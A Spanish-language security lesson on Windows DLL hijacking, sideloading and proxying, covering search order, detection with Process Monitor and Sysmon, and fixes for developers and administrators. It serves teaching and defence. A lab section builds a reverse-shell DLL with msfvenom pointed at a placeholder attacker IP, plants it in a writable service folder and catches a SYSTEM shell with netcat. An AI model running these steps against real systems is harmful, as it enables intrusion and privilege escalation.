DLL hijacking y DLL sideloading: qué es, cómo se explota y cómo se corrige
· 12 min de lectura
Las aplicaciones de Windows buscan DLL en un orden predecible. Un atacante que coloca una DLL maliciosa en una ubicación de mayor prioridad consigue ejecución de código con los privilegios de la aplicación víctima. Aprende search order hijacking, phantom DLL y DLL proxying.
Cuando una aplicación de Windows necesita funcionalidad de una biblioteca dinámica, llama a LoadLibrary o LoadLibraryEx con el nombre de la DLL. El sistema operativo entonces busca el archivo en una serie de directorios, siguiendo un orden específico. Si un atacante consigue colocar una DLL con el nombre correcto en un directorio que el sistema revisa antes que el legítimo, esa DLL maliciosa se carga en el contexto del proceso víctima. A esta familia de técnicas se la conoce como DLL hijacking.
El impacto va desde persistencia silenciosa hasta escalada de privilegios: si la aplicación víctima corre como SYSTEM o como un usuario privilegiado, el código del atacante hereda esos privilegios. Variantes como DLL sideloading explotan ejecutables firmados por fabricantes legítimos para cargar código malicioso, dificultando la detección basada en firmas. Es la primera lección de la Tanda 10 de /aprende.
Esta lección tiene fines educativos y defensivos. Las técnicas descritas solo deben practicarse en entornos de laboratorio autorizados. Usarlas contra sistemas sin permiso explícito es ilegal y contrario a la ética profesional.
Qué es DLL hijacking#
DLL hijacking es un abuso del mecanismo de búsqueda de bibliotecas dinámicas de Windows. Cuando un proceso llama a LoadLibrary("ejemplo.dll") sin especificar la ruta completa, Windows busca el archivo en varios directorios en un orden determinado. Si el atacante deposita una DLL con ese nombre en un directorio que se revisa antes del legítimo, su código se ejecuta dentro del proceso.

El orden de búsqueda estándar de Windows (con SafeDllSearchMode habilitado, que es el valor por defecto desde Windows XP SP2) es:
- Directorio desde el cual se cargó la aplicación (el directorio del ejecutable).
- Directorio del sistema (
C:\Windows\System32). - Directorio del sistema de 16 bits (
C:\Windows\System). - Directorio de Windows (
C:\Windows). - Directorio de trabajo actual (CWD).
- Directorios listados en la variable de entorno
PATH.
Este orden significa que si una aplicación instalada en C:\Program Files\MiApp\ busca helper.dll y esa DLL realmente vive en C:\Windows\System32\, un atacante que pueda escribir en el directorio de la aplicación (C:\Program Files\MiApp\) colocará ahí su propia helper.dll, que se cargará antes que la legítima.
Por qué ocurre: la causa raíz#
La causa raíz es una combinación de diseño del sistema operativo y malas prácticas de desarrollo:
Carga por nombre sin ruta completa. Muchas aplicaciones llaman a LoadLibrary pasando solo el nombre del archivo, sin la ruta absoluta. Esto activa el mecanismo de búsqueda y abre la puerta al hijacking.
Permisos laxos en directorios de instalación. Algunas aplicaciones se instalan en directorios donde el usuario tiene permisos de escritura, como C:\Users\<usuario>\AppData\Local\. Incluso directorios en C:\Program Files\ pueden tener ACLs mal configuradas si el instalador las modificó.
Ausencia de verificación de integridad. La mayoría de aplicaciones no verifican la firma digital ni el hash de las DLL antes de cargarlas. Windows valida firmas de drivers en kernel, pero en user-mode la carga de DLL no firmadas es el comportamiento por defecto.
DLL fantasma (phantom DLL). Algunas aplicaciones intentan cargar DLL que simplemente no existen en el sistema. La llamada a LoadLibrary falla silenciosamente, pero si el atacante crea esa DLL en cualquier ubicación del search path, se carga sin que la aplicación lo note.
Ejemplo de código vulnerable en C++:
// Vulnerable: carga por nombre sin ruta completa
HMODULE hMod = LoadLibrary("config_helper.dll");
if (hMod) {
// La aplicación no verifica quién es esta DLL
typedef void (*InitFunc)();
InitFunc init = (InitFunc)GetProcAddress(hMod, "Initialize");
if (init) init();
}
Código corregido:
// Seguro: ruta completa y verificación de firma
WCHAR dllPath[MAX_PATH];
GetSystemDirectory(dllPath, MAX_PATH);
wcscat_s(dllPath, MAX_PATH, L"\\config_helper.dll");
// Verificar la firma digital antes de cargar
LONG lStatus;
GUID WintrustActionGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
// ... verificación con WinVerifyTrust ...
HMODULE hMod = LoadLibraryEx(dllPath, NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
Tipos y variantes#
| Variante | Mecanismo | Requisito del atacante | Dificultad |
|---|---|---|---|
| Search order hijacking | Colocar DLL en directorio de mayor prioridad | Escritura en el directorio de la app | Baja |
| Phantom DLL hijacking | Crear DLL que la app busca pero no existe | Escritura en cualquier dir del search path | Baja |
| DLL sideloading | Usar ejecutable legítimo firmado para cargar DLL | Copiar el EXE firmado a directorio controlado | Media |
| DLL proxying | DLL maliciosa que reenvía funciones a la legítima | Escritura en directorio de la app | Media |
| DLL search order via PATH | Colocar DLL en directorio del PATH del usuario | Modificar PATH o escribir en sus directorios | Media |
| DLL redirection (.local) | Crear archivo .local junto al EXE | Escritura en directorio de la app | Baja |
DLL sideloading en detalle#
DLL sideloading merece explicación aparte porque es una de las técnicas más usadas por grupos APT. El atacante toma un ejecutable legítimo firmado por un fabricante conocido (por ejemplo, un componente de un antivirus o de una aplicación de ofimática) y lo copia a un directorio bajo su control junto con una DLL maliciosa que tiene el nombre que ese ejecutable espera cargar.
Cuando el ejecutable firmado se ejecuta, carga la DLL del atacante porque está en su mismo directorio (posición 1 del search order). Desde la perspectiva de un EDR, el proceso que carga la DLL es legítimo y está firmado, lo que dificulta la detección basada en reputación del proceso padre.
DLL proxying#
DLL proxying es una variante sofisticada donde la DLL maliciosa no solo ejecuta su payload sino que también reenvía todas las llamadas de funciones legítimas a la DLL original. Esto evita que la aplicación falle o se comporte de forma anómala, haciendo la detección más difícil.
El atacante renombra la DLL original (por ejemplo, de version.dll a version_orig.dll) y coloca su DLL proxy con el nombre original. La DLL proxy exporta las mismas funciones usando directivas de linker:
EXPORTS
GetFileVersionInfoA=version_orig.GetFileVersionInfoA
GetFileVersionInfoW=version_orig.GetFileVersionInfoW
VerQueryValueA=version_orig.VerQueryValueA
VerQueryValueW=version_orig.VerQueryValueW
Dónde aparece#
DLL hijacking es explotable en múltiples escenarios reales:
- Servicios de Windows que cargan DLL desde directorios con permisos laxos. Un servicio que corre como SYSTEM y carga una DLL desde un directorio escribible por usuarios normales permite escalada de privilegios directa.
- Aplicaciones de escritorio instaladas en
%APPDATA%o%LOCALAPPDATA%, donde el usuario tiene control total del directorio. - Tareas programadas que ejecutan binarios legítimos susceptibles a sideloading.
- Instaladores y actualizadores que a menudo se ejecutan con privilegios elevados y cargan DLL sin verificación.
- Malware y APT usan sideloading extensivamente. Grupos como APT41, Lazarus y Mustang Panda han documentado campañas con sideloading de DLL en componentes firmados de Symantec, McAfee y aplicaciones de Microsoft.
Cómo se detecta#
La detección combina análisis estático del sistema de archivos con monitorización dinámica de carga de módulos.
| Método | Qué busca | Herramienta |
|---|---|---|
| Auditoría de search order | DLL duplicadas en directorio de la app y System32 | Process Monitor (Sysinternals) |
| Phantom DLL scan | Llamadas a LoadLibrary que fallan (NAME NOT FOUND) | Process Monitor con filtro Result |
| Firma digital | DLL sin firma en directorio de aplicación firmada | Sigcheck (Sysinternals) |
| Hash comparison | DLL con mismo nombre pero distinto hash que la legítima | PowerShell Get-FileHash |
| Sysmon Event 7 | Carga de DLL con ImageLoaded fuera de directorios esperados | Sysmon + SIEM |
| EDR behavioral | Proceso legítimo cargando DLL desde directorio no habitual | CrowdStrike, Defender for Endpoint |
Para buscar phantom DLL manualmente con Process Monitor:
Filtros en Process Monitor:
Operation is "CreateFile" AND
Result is "NAME NOT FOUND" AND
Path ends with ".dll"
Para verificar firmas de DLL con Sigcheck:
sigcheck -u -e C:\Program Files\MiApp\
El flag -u muestra solo archivos sin firma válida, y -e escanea solo ejecutables y DLL.
Explotación paso a paso en un laboratorio#
Paso 1: identificar DLL susceptibles#
Desde tu máquina de ataque, conecta al laboratorio Windows y usa Process Monitor para identificar DLL que la aplicación busca sin encontrar:
# Conectar al laboratorio
evil-winrm -i IP_DEL_LAB -u usuario -p contraseña
En la sesión de laboratorio, analiza qué DLL busca un servicio vulnerable:
# Listar servicios con rutas no estándar
Get-WmiObject win32_service | Where-Object {
$_.PathName -notlike "*System32*" -and
$_.State -eq "Running"
} | Select-Object Name, PathName, StartMode
Paso 2: verificar permisos de escritura#
Comprueba si puedes escribir en el directorio del servicio:
# Comprobar ACLs del directorio
icacls "C:\Program Files\VulnApp\"
Si la salida muestra que el grupo BUILTIN\Users tiene permisos (W) o (M), el directorio es explotable.
Paso 3: crear la DLL maliciosa#
En tu máquina Kali, genera una DLL con msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=IP_ATACANTE LPORT=4444 \
-f dll -o hijacked.dll
Paso 4: colocar la DLL y obtener shell#
Transfiere la DLL al directorio vulnerable y reinicia el servicio:
# Copiar la DLL al directorio del servicio
Copy-Item hijacked.dll "C:\Program Files\VulnApp\version.dll"
# Reiniciar el servicio (si tienes permisos)
Restart-Service -Name "VulnService"
En tu máquina atacante, espera la conexión:
nc -lvnp 4444
Paso 5: verificar privilegios#
Una vez recibida la shell:
whoami
# NT AUTHORITY\SYSTEM (si el servicio corría como SYSTEM)
Qué puede lograr un atacante#
| Escenario | Impacto | Condición |
|---|---|---|
| Hijacking de servicio SYSTEM | Escalada a NT AUTHORITY\SYSTEM | Directorio del servicio escribible |
| Sideloading con EXE firmado | Ejecución de malware eludiendo controles de firma | EXE legítimo copiado a directorio controlado |
| Phantom DLL en tarea programada | Persistencia que sobrevive reinicios | LoadLibrary fallida en tarea con privilegios |
| DLL proxying en aplicación corporativa | Ejecución silenciosa sin romper la app víctima | Capacidad de renombrar DLL original |
| Hijacking vía PATH | Ejecución de código al iniciar sesión cualquier usuario | Escritura en directorio del PATH del sistema |
Cómo se corrige#

Para desarrolladores#
- Usar rutas absolutas. Siempre pasar la ruta completa a
LoadLibrary. UsarGetSystemDirectoryoGetModuleFileNamepara construir la ruta. - Usar
LoadLibraryExcon flags restrictivos. El flagLOAD_LIBRARY_SEARCH_SYSTEM32restringe la búsqueda exclusivamente a System32. - Verificar firmas digitales. Antes de cargar una DLL, verificar su firma con
WinVerifyTrust. - Compilar con CWD excluido del search path. Llamar a
SetDllDirectory("")al inicio del proceso elimina el directorio de trabajo actual del orden de búsqueda.
// Al inicio del programa, excluir CWD del search path
SetDllDirectory(L"");
// Usar flag restrictivo para cargas de sistema
HMODULE hMod = LoadLibraryEx(L"secur32.dll", NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
Para administradores de sistemas#
- Auditar ACLs de directorios de servicios. Ningún directorio de servicio que corre como SYSTEM debe ser escribible por usuarios no privilegiados.
- Habilitar CWDIllegalInDllSearch. La clave de registro
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\CWDIllegalInDllSearchcontrola el comportamiento del CWD en el search path. - Usar Windows Defender Application Control (WDAC). WDAC puede restringir qué DLL se permiten cargar basándose en firma y hash.
- Monitorizar con Sysmon Event 7. Configurar Sysmon para registrar todas las cargas de DLL y alertar sobre cargas desde ubicaciones inesperadas.
<!-- Regla Sysmon para detectar DLL cargadas desde directorios temporales -->
<RuleGroup groupRelation="or">
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">\AppData\Local\Temp\</ImageLoaded>
<ImageLoaded condition="contains">\Users\Public\</ImageLoaded>
<ImageLoaded condition="contains">\ProgramData\</ImageLoaded>
</ImageLoad>
</RuleGroup>
Errores comunes al defenderse#
- Confiar solo en la firma del proceso padre. El proceso puede estar firmado legítimamente y aun así cargar una DLL maliciosa (sideloading). La firma del proceso no protege contra DLL sin firma cargadas por ese proceso.
- No auditar phantom DLL. Las DLL que no existen no generan alertas, pero son vectores de ataque silenciosos. Hay que auditar proactivamente las llamadas LoadLibrary fallidas.
- Ignorar las aplicaciones de terceros. La atención suele centrarse en servicios del sistema, pero las aplicaciones de terceros con privilegios elevados son igual de vulnerables.
- No restringir el PATH del sistema. Directorios escribibles por usuarios normales en la variable PATH del sistema son un vector directo.
- Asumir que WDAC o AppLocker bloquean todo. Estas políticas necesitan configuración específica para DLL (la política de DLL está deshabilitada por defecto en AppLocker por razones de rendimiento).
Preguntas frecuentes#
¿DLL hijacking y DLL sideloading son lo mismo?#
No exactamente. DLL hijacking es el término general para cualquier abuso del mecanismo de búsqueda de DLL. DLL sideloading es una variante específica donde se usa un ejecutable legítimo firmado como vehículo para cargar la DLL maliciosa. Todo sideloading es hijacking, pero no todo hijacking es sideloading.
¿SafeDllSearchMode protege completamente?#
No. SafeDllSearchMode (habilitado por defecto) mueve el CWD a una posición más baja en el search order, pero no elimina el problema. El directorio de la aplicación sigue siendo la primera ubicación de búsqueda, y si el atacante puede escribir ahí, el hijacking funciona igual.
¿Los EDR modernos detectan DLL hijacking?#
Los EDR avanzados monitorizan la carga de DLL (Sysmon Event 7 o equivalentes) y pueden alertar sobre DLL sin firma cargadas por procesos firmados. Sin embargo, DLL proxying con todas las funciones legítimas reenviadas puede ser difícil de detectar sin análisis de contenido de la DLL.
¿Cómo encuentro DLL susceptibles a hijacking en mi entorno?#
Usa Process Monitor con filtros para operaciones CreateFile con resultado NAME NOT FOUND sobre archivos .dll. También puedes usar herramientas como DLLSpy o WinPEAS que automatizan la búsqueda de DLL escribibles y phantom DLL.
¿Windows 11 mitiga DLL hijacking?#
Windows 11 mantiene el mismo mecanismo de search order. Las mitigaciones disponibles (SafeDllSearchMode, SetDllDirectory, LOAD_LIBRARY_SEARCH flags, WDAC) existían desde versiones anteriores. La diferencia es que WDAC y las políticas de integridad de código están más integradas, pero requieren configuración activa.
Resumen#
- DLL hijacking abusa del orden de búsqueda de bibliotecas dinámicas de Windows para ejecutar código malicioso en el contexto de un proceso legítimo.
- El search order prioriza el directorio de la aplicación sobre System32, lo que permite hijacking si el atacante puede escribir en ese directorio.
- DLL sideloading usa ejecutables firmados como vehículo, dificultando la detección por reputación del proceso.
- DLL proxying reenvía funciones legítimas a la DLL original, evitando que la aplicación falle y manteniendo la operación silenciosa.
- La defensa requiere rutas absolutas en
LoadLibrary, verificación de firmas, ACLs correctas en directorios de servicios y monitorización con Sysmon Event 7. - WDAC y AppLocker pueden restringir la carga de DLL, pero necesitan configuración explícita para la enforcement de DLL.
Fuentes y lecturas recomendadas#
- MITRE ATT&CK T1574.001 — Hijack Execution Flow: DLL Search Order Hijacking
- MITRE ATT&CK T1574.002 — Hijack Execution Flow: DLL Side-Loading
- Microsoft — Dynamic-Link Library Search Order
- Microsoft — Secure loading of libraries
- Microsoft — Windows Defender Application Control
- Sysinternals — Process Monitor